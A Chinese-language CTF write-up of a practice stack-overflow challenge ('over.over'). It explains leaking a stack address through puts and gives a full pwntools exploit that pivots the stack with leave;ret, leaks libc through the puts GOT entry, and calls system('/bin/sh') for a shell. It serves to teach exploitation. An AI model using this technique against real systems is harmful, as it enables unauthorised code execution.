wiki花式棧溢出上的一道例題,先checksec 一波

image.png
只開了個(gè)NX,再看一眼IDA

image.png
很明顯的棧溢出漏洞,但是并沒(méi)有那么簡(jiǎn)單,因?yàn)槟銜?huì)發(fā)現(xiàn)這個(gè)溢出空間有點(diǎn)小了,只有0x10,但是我們看到后面有一個(gè)puts函數(shù)將我們輸入的內(nèi)容打印出來(lái),read并不會(huì)在末尾補(bǔ)'\x00'所以只要我們輸入0x50個(gè)字節(jié),puts就會(huì)把rbp也隨便打印出來(lái),這樣我們就可以通過(guò)固定偏移知道棧上所有位置的地址了

image.png
leak 出棧上的地址后我們就可以通過(guò)控制rbp為棧上地址,ret_addr 為leave地址來(lái)控制程序流程
exp:
#-*-coding:utf-8-*-
from pwn import *
p = process('./over.over')
elf = ELF('./over.over')
libc = elf.libc
context.log_level = 'debug'
payload_1 = 'a'*80
p.recvuntil('>')
p.send(payload_1)
a = p.recvuntil('\x7f')
print a
b = u64(a[-6:].ljust(8,'\x00'))
print hex(b)
stack = b-0x70
# success("stack -> {:#x}".format(stack))
# pause()
p.recvuntil('>')
puts_plt = elf.plt['puts']
print hex(puts_plt)
puts_got = elf.got['puts']
print hex(puts_got)
sub_400676 = 0x400676
leave_ret = 0x4006be
pop_rdi = 0x400793
payload_2 = ''
payload_2 += p64(0xdeadbeef)
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(sub_400676)
payload_2 += (80-40)*'a'
payload_2 += p64(stack)
payload_2 += p64(leave_ret)
gdb.attach(p,"b *0x4006AD\nc")
pause()
p.send(payload_2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr: " + hex(puts_addr)
puts_libc = libc.symbols['puts']
offset = puts_addr - puts_libc
binsh_libc = libc.search("/bin/sh").next()
system_libc = libc.symbols['system']
system_addr = offset + system_libc
print "system_addr: " + hex(system_addr)
binsh_addr = offset + binsh_libc
print "binsh_addr: " + hex(binsh_addr)
pause()
payload_3 = ''
payload_3 += p64(0xdeadbeef)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(system_addr)
payload_3 += (80-32)*'a'
payload_3 += p64(stack-0x30)
payload_3 += p64(leave_ret)
# gdb.attach(p,"b *0x4006b9\nc")
# pause()
p.send(payload_3)
p.interactive()